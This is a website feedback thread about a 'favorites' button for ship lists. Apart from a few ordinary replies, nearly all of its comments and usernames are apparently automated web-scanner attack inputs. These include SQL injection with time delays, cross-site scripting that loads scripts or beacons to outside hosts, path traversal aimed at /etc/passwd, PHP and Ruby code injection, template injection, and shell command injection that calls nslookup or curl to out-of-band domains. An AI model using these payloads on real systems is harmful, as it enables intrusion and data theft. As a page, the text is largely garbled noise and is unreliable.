Feedback

Add to favorites by Anonymous - 162 months ago

A button to add to a favorite ships lists. With it, you can take any ship you like. It can be under the photo of the ship you want to add, at the page of the ship.

• Haam_7133

  ok

• SiteDestroyer3

  I AGREE!

• Harithik Pariyar

  Fuck All

• Comix64

  yes.

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  1BPVNlZHlNO

• 1K2SrIeN4O

  1

• WfxYANoW

  ${9999319+10000478}

• Anonymous

  1

• ${10000491+9999328}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  1

• WfxYANoW

  response.write(9182333*9652918)

• WfxYANoW

  ../1

• WfxYANoW

  /etc/shells

• file:///etc/passwd

  1

• WfxYANoW

  '+response.write(9182333*9652918)+'

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  "+response.write(9182333*9652918)+"

• response.write(9836629*9437554)

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  1

• WfxYANoW

  bxss.me

• '+response.write(9836629*9437554)+'

  1

• ../WfxYANoW

  1

• "+response.write(9836629*9437554)+"

  1

• WfxYANoW

  n7D2aUYA

• WfxYANoW

  echo rwimqd$()\ pelzfc\nz^xyu||a #' &echo rwimqd$()\ pelzfc\nz^xyu||a #|" &echo rwimqd$()\ pelzfc\nz^xyu||a #

• WfxYANoW

  WXW31CRU: qT3RAUw9

• jjcLbQwX

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  &echo uzffks$()\ mxmyvh\nz^xyu||a #' &echo uzffks$()\ mxmyvh\nz^xyu||a #|" &echo uzffks$()\ mxmyvh\nz^xyu||a #

• p1rk1wVn: eKW05npv

  1

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  1&echo voeeed$()\ ynuoct\nz^xyu||a #' &echo voeeed$()\ ynuoct\nz^xyu||a #|" &echo voeeed$()\ ynuoct\nz^xyu||a #

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  1&n988280=v919560

• WfxYANoW

  |echo leciwu$()\ rflvak\nz^xyu||a #' |echo leciwu$()\ rflvak\nz^xyu||a #|" |echo leciwu$()\ rflvak\nz^xyu||a #

• WfxYANoW&n942820=v972766

  1

• VGl0OTU2Sjk=

  1

• /etc/shells

  1

• WfxYANoW

  1|echo tglxvk$()\ ivtgip\nz^xyu||a #' |echo tglxvk$()\ ivtgip\nz^xyu||a #|" |echo tglxvk$()\ ivtgip\nz^xyu||a #

• c:/windows/win.ini

  1

• WfxYANoW

  1

• WfxYANoW

  )

• bxss.me

  1

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  '.gethostbyname(lc('hitms'.'drjgcqzj84ca4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(67).chr(122).chr(72).'

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  (nslookup -q=cname hitcecoegtdxi8af0c.bxss.me||curl hitcecoegtdxi8af0c.bxss.me))

• )

  1

• WfxYANoW

  $(nslookup -q=cname hitkojgrmapbjae725.bxss.me||curl hitkojgrmapbjae725.bxss.me)

• WfxYANoW

  ".gethostbyname(lc("hitgu"."znlngkuu123c5.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(89).chr(111).chr(86)."

• WfxYANoW

  ';print(md5(31337));$a='

• !(()&&!|*|*|

  1

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  &nslookup -q=cname hitcctxhqsdov59174.bxss.me&'\"`0&nslookup -q=cname hitcctxhqsdov59174.bxss.me&`'

• WfxYANoW

  '"()

• WfxYANoW

  ${@print(md5(31337))}

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  &(nslookup -q=cname hitwwcqvsuucgc4055.bxss.me||curl hitwwcqvsuucgc4055.bxss.me)&'\"`0&(nslookup -q=cname hitwwcqvsuucgc4055.bxss.me||curl hitwwcqvsuucgc4055.bxss.me)&`'

• WfxYANoW

  gethostbyname(lc('hitca'.'aptrypyf248de.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(77).chr(106).chr(78)

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  |(nslookup -q=cname hitbigfxxhjaqf62bc.bxss.me||curl hitbigfxxhjaqf62bc.bxss.me)

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ';print(md5(31337));$a='

  1

• WfxYANoW

  `(nslookup -q=cname hitsnerefecks9a150.bxss.me||curl hitsnerefecks9a150.bxss.me)`

• WfxYANoW

  1'&&sleep(27*1000)*dhigwx&&'

• WfxYANoW

  ;(nslookup -q=cname hitbovzsztjpv199a4.bxss.me||curl hitbovzsztjpv199a4.bxss.me)|(nslookup -q=cname hitbovzsztjpv199a4.bxss.me||curl hitbovzsztjpv199a4.bxss.me)&(nslookup -q=cname hitbovzsztjpv199a4.bxss.me||curl hitbovzsztjpv199a4.bxss.me)

• ";print(md5(31337));$a="

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitypszgheirh31451.bxss.me||curl${IFS}hitypszgheirh31451.bxss.me)

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitbayusdpvrw14071.bxss.me||curl${IFS}hitbayusdpvrw14071.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbayusdpvrw14071.bxss.me||curl${IFS}hitbayusdpvrw14071.bxss.me)&`'

• WfxYANoW

  1"&&sleep(27*1000)*ejrmfn&&"

• ${@print(md5(31337))}

  1

• xfs.bxss.me

  1

• WfxYANoW

  1'||sleep(27*1000)*jyywwt||'

• WfxYANoW

  '"

• ${@print(md5(31337))}\

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >Hwt7(9890)</ScRiPt>

• WfxYANoW

  1"||sleep(27*1000)*qmilfj||"

• WfxYANoW

  <!--

• WfxYANoW

  1

• '.print(md5(31337)).'

  1

• '"

  1

• '"()

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• <!--

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(97).concat(75).concat(98).concat(87)+(require"socket" Socket.gethostbyname("hitze"+"dbwpvyxi2b2e0.bxss.me.")[3].to_s)+"

• WfxYANoW

  comment

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(106).concat(84).concat(113).concat(87)+(require'socket' Socket.gethostbyname('hitca'+'rcblmaslfb425.bxss.me.')[3].to_s)+'

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• WfxYANoW

  '"()&%<zzz><ScRiPt >Hwt7(9270)</ScRiPt>

• WfxYANoW

  comment/.

• WfxYANoW'&&sleep(27*1000)*lnvdhf&&'

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW"&&sleep(27*1000)*shhiqd&&"

  1

• comment

  1

• WfxYANoW'||sleep(27*1000)*cgrnar||'

  1

• WfxYANoW

  19112521

• comment

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(100).concat(88).concat(99).concat(89)+(require'socket' Socket.gethostbyname('hitwp'+'abbzfmtb5aa77.bxss.me.')[3].to_s)

• WfxYANoW"||sleep(27*1000)*cwjtxv||"

  1

• comment/.

  1

• WfxYANoW

  bfg6249＜s1﹥s2ʺs3ʹhjl6249

• WfxYANoW

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >Hwt7(9312)</ScRiPt>

• WfxYANoW

  1

• WfxYANoW

  1<WZN226>WVEAQ[!+!]</WZN226>

• WfxYANoW

  1<script>Hwt7(9936)</script>

• WfxYANoW

  1<script>Hwt7(9068)</script>9068

• WfxYANoW

  1<ScR<ScRiPt>IpT>Hwt7(9133)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >Hwt7(9876)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9105></ScRiPt>

• WfxYANoW

  1<ScRiPt >Hwt7(9343)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=Hwt7(9184)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9445'>

• WfxYANoW

  1<body onload=Hwt7(9475)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=Hwt7(9448)>

• WfxYANoW

  1L28DJqVm

• WfxYANoW

  1<img src=xyz OnErRor=Hwt7(9422)>

• WfxYANoW

  1<img/src=">" onerror=alert(9807)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%48%77%74%37%289670%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\Hwt7(9592)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;Hwt7(9049)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=Hwt7(9420)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+65-65-1=0+0+0+1 --

• WfxYANoW

  1}body{zzz:Expre/**/SSion(Hwt7(9908))}

• WfxYANoW

  -1 OR 2+510-510-1=0+0+0+1

• WfxYANoW

  1sRdnQ <ScRiPt >Hwt7(9624)</ScRiPt>

• WfxYANoW

  1<WCSKBU>0E4TL[!+!]</WCSKBU>

• WfxYANoW

  1<ifRAme sRc=9132.com></IfRamE>

• WfxYANoW

  1<aRmSmPg x=9373>

• WfxYANoW

  -1' OR 2+969-969-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+389-389-1=0+0+0+1 or 'mfnhy7Yk'='

• WfxYANoW

  -1" OR 2+196-196-1=0+0+0+1 --

• WfxYANoW

  1<img sRc='http://attacker-9693/log.php?

• WfxYANoW

  1<a7oojb9<

• WfxYANoW'"()&%<zzz><ScRiPt >Hwt7(9555)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >Hwt7(9234)</ScRiPt>

  1

• WfxYANoW9427909

  1

• bfg1569＜s1﹥s2ʺs3ʹhjl1569

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >Hwt7(9669)</ScRiPt>

  1

• WfxYANoW<W6DUV8>WENQC[!+!]</W6DUV8>

  1

• WfxYANoW<script>Hwt7(9576)</script>

  1

• WfxYANoW<script>Hwt7(9273)</script>9273

  1

• WfxYANoW<ScRiPt >Hwt7(9108)</ScRiPt>

  1

• WfxYANoW<ScRiPt >Hwt7(9050)</ScRiPt>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<body onload=Hwt7(9750)>

  1

• WfxYANoW<img src=xyz OnErRor=Hwt7(9143)>

  1

• WfxYANoW<img/src=">" onerror=alert(9669)>

  1

• WfxYANoW\u003CScRiPt\Hwt7(9599)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;Hwt7(9659)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=Hwt7(9058)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(Hwt7(9660))}

  1

• WfxYANoWm1BYt <ScRiPt >Hwt7(9083)</ScRiPt>

  1

• WfxYANoW<W7HSUI>ZG6HG[!+!]</W7HSUI>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<ifRAme sRc=9445.com></IfRamE>

  1

• WfxYANoW<aHULAqa x=9828>

  1

• WfxYANoW<img sRc='http://attacker-9120/log.php?

  1

• WfxYANoW<aK6hl3B<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1AWcIPEkM'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 649=(SELECT 649 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 299=(SELECT 299 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 758=(SELECT 758 FROM PG_SLEEP(15))--

• WfxYANoW

  11IZBqDf4' OR 84=(SELECT 84 FROM PG_SLEEP(15))--

• WfxYANoW

  1TDSjVrad') OR 569=(SELECT 569 FROM PG_SLEEP(15))--

• WfxYANoW

  1jW7Igv4Q')) OR 498=(SELECT 498 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@mEPC7

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoW2ZYICSUE

  1

• WfxYANoW

  1

• -1 OR 2+444-444-1=0+0+0+1 --

  1

• -1 OR 2+74-74-1=0+0+0+1

  1

• -1' OR 2+786-786-1=0+0+0+1 --

  1

• -1' OR 2+110-110-1=0+0+0+1 or 'Ijra5TbV'='

  1

• -1" OR 2+435-435-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoW1nrSiqf8'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@wa1Na

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• nktnkrxy

  1

• kpotvfld

  response.write(9345320*9954982)

• kpotvfld

  '+response.write(9345320*9954982)+'

• iyiywaqj

  1

• kpotvfld

  "+response.write(9345320*9954982)+"

• iyiywaqj

  1

• response.write(9211232*9257582)

  1

• iyiywaqj

  aEJrhSvY

• '+response.write(9211232*9257582)+'

  1

• iyiywaqj

  -1 OR 2+566-566-1=0+0+0+1 --

• "+response.write(9211232*9257582)+"

  1

• iyiywaqj

  -1 OR 2+399-399-1=0+0+0+1

• evbjknog

  set|set&set

• iyiywaqj

  -1' OR 2+966-966-1=0+0+0+1 --

• evbjknog

  $(nslookup z68sL28o)

• iyiywaqj

  -1' OR 2+656-656-1=0+0+0+1 or 'VCXgN3ES'='

• evbjknog

  &nslookup i265uRXt&'\"`0&nslookup i265uRXt&`'

• iyiywaqj

  -1" OR 2+577-577-1=0+0+0+1 --

• set|set&set

  1

• iyiywaqj

  if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

• $(nslookup 3kqDf5s6)

  1

• iyiywaqj

  (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

• &nslookup RMk3rqx8&'\"`0&nslookup RMk3rqx8&`'

  1

• iyiywaqj

  -1; waitfor delay '0:0:9' --

• bptpnrca

  cBEWWCwz

• iyiywaqj

  -1); waitfor delay '0:0:9' --

• LhwbpQf3

  1

• iyiywaqj

  1 waitfor delay '0:0:3' --

• xvxlloab

  ../../../../../../../../../../etc/passwd

• iyiywaqj

  AXKFYrIM'; waitfor delay '0:0:3' --

• xvxlloab

  ../../../../../../../../../../../../../../../proc/version

• xvxlloab

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• iyiywaqj

  -1;select pg_sleep(3); --

• xvxlloab

  ../../../../../../../../../../etc/passwd.jpg

• iyiywaqj

  -1);select pg_sleep(3); --

• xvxlloab

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• iyiywaqj

  -1));select pg_sleep(3); --

• xvxlloab

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• iyiywaqj

  xVcHgbwn';select pg_sleep(3); --

• xvxlloab

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• egouaorl

  1

• xvxlloab

  /etc/passwd

• iyiywaqj

  55L3aXGj');select pg_sleep(6); --

• xvxlloab

  %2fetc%2fpasswd

• iyiywaqj

  Y04ghexj'));select pg_sleep(6); --

• xvxlloab

  /.././.././.././.././.././.././.././../etc/./passwd%00

• iyiywaqj

  1

• xvxlloab

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• iyiywaqj

  1

• xvxlloab

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• qixdnjql

  ${10000087+9999130}

• FQsVvJXW

  1

• egouaorl

  1

• ${10000199+9999168}

  1

• -1 OR 2+10-10-1=0+0+0+1 --

  1

• xvxlloab

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• Anonymous

  1

• gkrwimxp

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• -1 OR 2+318-318-1=0+0+0+1

  1

• xvxlloab

  file:///etc/passwd

• gkrwimxp

  1some_inexistent_file_with_long_name.jpg

• -1' OR 2+754-754-1=0+0+0+1 --

  1

• xvxlloab

  /\../\../\../\../\../\../\../etc/passwd

• gkrwimxp

  Http://testasp.vulnweb.com/t/fit.txt

• -1' OR 2+908-908-1=0+0+0+1 or 'ispDXIZr'='

  1

• xvxlloab

  WEB-INF/web.xml

• dkRkU3ZxWGo=

  1

• gkrwimxp

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• -1" OR 2+347-347-1=0+0+0+1 --

  1

• xvxlloab

  /WEB-INF/web.xml

• ibcmxkvn

  1&n934189=v937474

• gkrwimxp

  testasp.vulnweb.com

• xvxlloab

  WEB-INF\web.xml

• ../../../../../../../../../../etc/passwd

  1

• qunfklon

  )

• ysuhauye&n990090=v966344

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• qunfklon

  !(()&&!|*|*|

• Http://testasp.vulnweb.com/t/fit.txt

  1

• qunfklon

  ^(#$!@#$)(()))******

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• )

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• testasp.vulnweb.com

  1

• !(()&&!|*|*|

  1

• ewgvqgqq

  ;print(md5(acunetix_wvs_security_test));

• ^(#$!@#$)(()))******

  1

• rcvvagja

  '"()

• ewgvqgqq

  ';print(md5(acunetix_wvs_security_test));$a='

• shanonfa

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• ewgvqgqq

  ";print(md5(acunetix_wvs_security_test));$a="

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• '"()

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• ewgvqgqq

  ${@print(md5(acunetix_wvs_security_test))}

• fargtxsb

  1

• stsxxbaq

  http://hit5ixynCFw7r.bxss.me/

• /etc/passwd

  1

• ewgvqgqq

  ${@print(md5(acunetix_wvs_security_test))}\

• fargtxsb

  comment

• %2fetc%2fpasswd

  1

• http://hitgjEpu9MbJy.bxss.me/

  1

• ;print(md5(acunetix_wvs_security_test));

  1

• fargtxsb

  comment

• kkdfxugu

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• fargtxsb

  comment/.

• kkdfxugu

  1'"

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• fargtxsb

  1

• kkdfxugu

  \

• ${@print(md5(acunetix_wvs_security_test))}

  1

• comment

  1

• 1 waitfor delay '0:0:6' --

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• comment

  1

• kkdfxugu

  @@cqXiT

• MBvkKFbz'; waitfor delay '0:0:6' --

  1

• govobivp

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• comment/.

  1

• kkdfxugu

  JyI=

• S7ap19U6';select pg_sleep(9); --

  1

• twmxpqgv

  /www.vulnweb.com

• osTdID4K');select pg_sleep(9); --

  1

• huluqtpi

  1'"()&%<acx><ScRiPt >HOIJ(9633)</ScRiPt>

• csythbnd

  '"

• /www.vulnweb.com

  1

• rEcOsi25'));select pg_sleep(9); --

  1

• csythbnd

  <!--

• kkdfxugu

  (select convert(int,CHAR(65)))

• '"

  1

• kkdfxugu

  1

• <!--

  1

• 1'"

  1

• \

  1

• @@jxjC2

  1

• JyI=

  1

• (select convert(int,CHAR(65)))

  1

• huluqtpi

  '"()&%<acx><ScRiPt >HOIJ(9513)</ScRiPt>

• huluqtpi

  1_9571

• huluqtpi

  acu5630＜s1﹥s2ʺs3ʹuca5630

• huluqtpi

  {{9999230*10000309}}

• huluqtpi

  1<ScRiPt >HOIJ(9080)</ScRiPt>

• huluqtpi

  1<WYAQNG>LFVVT[!+!]</WYAQNG>

• huluqtpi

  1<script>HOIJ(9595)</script>

• huluqtpi

  1<ScR<ScRiPt>IpT>HOIJ(9716)</sCr<ScRiPt>IpT>

• huluqtpi

  1<ScRiPt >HOIJ(9936)</ScRiPt>

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• huluqtpi

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9884></ScRiPt>

• huluqtpi

  1<ScRiPt >HOIJ(9580)</ScRiPt>

• huluqtpi

  1<video><source onerror="javascript:HOIJ(9484)">

• huluqtpi

  1<isindex type=image src=1 onerror=HOIJ(9800)>

• huluqtpi

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9591'>

• huluqtpi

  1<body onload=HOIJ(9290)>

• huluqtpi

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=HOIJ(9703)>

• huluqtpi

  1<img src=xyz OnErRor=HOIJ(9010)>

• huluqtpi

  1<img/src=">" onerror=alert(9639)>

• huluqtpi

  %31%3C%53%63%52%69%50%74%20%3E%48%4F%49%4A%289667%29%3C%2F%73%43%72%69%70%54%3E

• huluqtpi

  1\u003CScRiPt\HOIJ(9874)\u003C/sCripT\u003E

• huluqtpi

  1&lt;ScRiPt&gt;HOIJ(9634)&lt;/sCripT&gt;

• huluqtpi

  1<input autofocus onfocus=HOIJ(9094)>

• huluqtpi

  <a HrEF=http://www.vulnweb.com></a>

• huluqtpi

  <a HrEF=jaVaScRiPT:>

• huluqtpi

  [url=http://www.vulnweb.com][/url]

• huluqtpi

  1<img<!-- --> src=x onerror=alert(9978);//><!-- -->

• huluqtpi

  1}body{acu:Expre/**/SSion(HOIJ(9785))}

• huluqtpi

  1<% contenteditable onresize=HOIJ(9431)>

• huluqtpi

  1_8qInv <ScRiPt >HOIJ(9950)</ScRiPt>

• huluqtpi

  1<WMJ7HP>S3WLJ[!+!]</WMJ7HP>

• huluqtpi

  1<ifRAme sRc=9726.com></IfRamE>

• huluqtpi

  1<0GNtGM x=9785>

• huluqtpi

  1<img sRc='http://attacker-9513/log.php?

• huluqtpi'"()&%<acx><ScRiPt >HOIJ(9918)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >HOIJ(9832)</ScRiPt>

  1

• huluqtpi_9761

  1

• acu1239＜s1﹥s2ʺs3ʹuca1239

  1

• {{10000464*9999074}}

  1

• huluqtpi<ScRiPt >HOIJ(9858)</ScRiPt>

  1

• huluqtpi<WSVR58>G2UH4[!+!]</WSVR58>

  1

• huluqtpi<script>HOIJ(9082)</script>

  1

• huluqtpi<ScRiPt >HOIJ(9922)</ScRiPt>

  1

• huluqtpi<ScRiPt >HOIJ(9948)</ScRiPt>

  1

• huluqtpi<body onload=HOIJ(9419)>

  1

• huluqtpi<img src=xyz OnErRor=HOIJ(9116)>

  1

• huluqtpi<img/src=">" onerror=alert(9411)>

  1

• huluqtpi\u003CScRiPt\HOIJ(9173)\u003C/sCripT\u003E

  1

• huluqtpi&lt;ScRiPt&gt;HOIJ(9563)&lt;/sCripT&gt;

  1

• huluqtpi<input autofocus onfocus=HOIJ(9620)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• huluqtpi}body{acu:Expre/**/SSion(HOIJ(9043))}

  1

• huluqtpi<% contenteditable onresize=HOIJ(9694)>

  1

• huluqtpi_9e7ht <ScRiPt >HOIJ(9136)</ScRiPt>

  1

• huluqtpi<WXTU2G>PHPV4[!+!]</WXTU2G>

  1

• huluqtpi<ifRAme sRc=9321.com></IfRamE>

  1

• huluqtpi<k4bLot x=9623>

  1

• huluqtpi<img sRc='http://attacker-9076/log.php?

  1

• abc123

  abc123

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1Yo3Oj88g

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+715-715-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+511-511-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+689-689-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+707-707-1=0+0+0+1 or 'GO5ncvuo'='

• dwUQQUrL

  -1" OR 2+886-886-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  1pAc93X4T'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 275=(SELECT 275 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 492=(SELECT 492 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 898=(SELECT 898 FROM PG_SLEEP(15))--

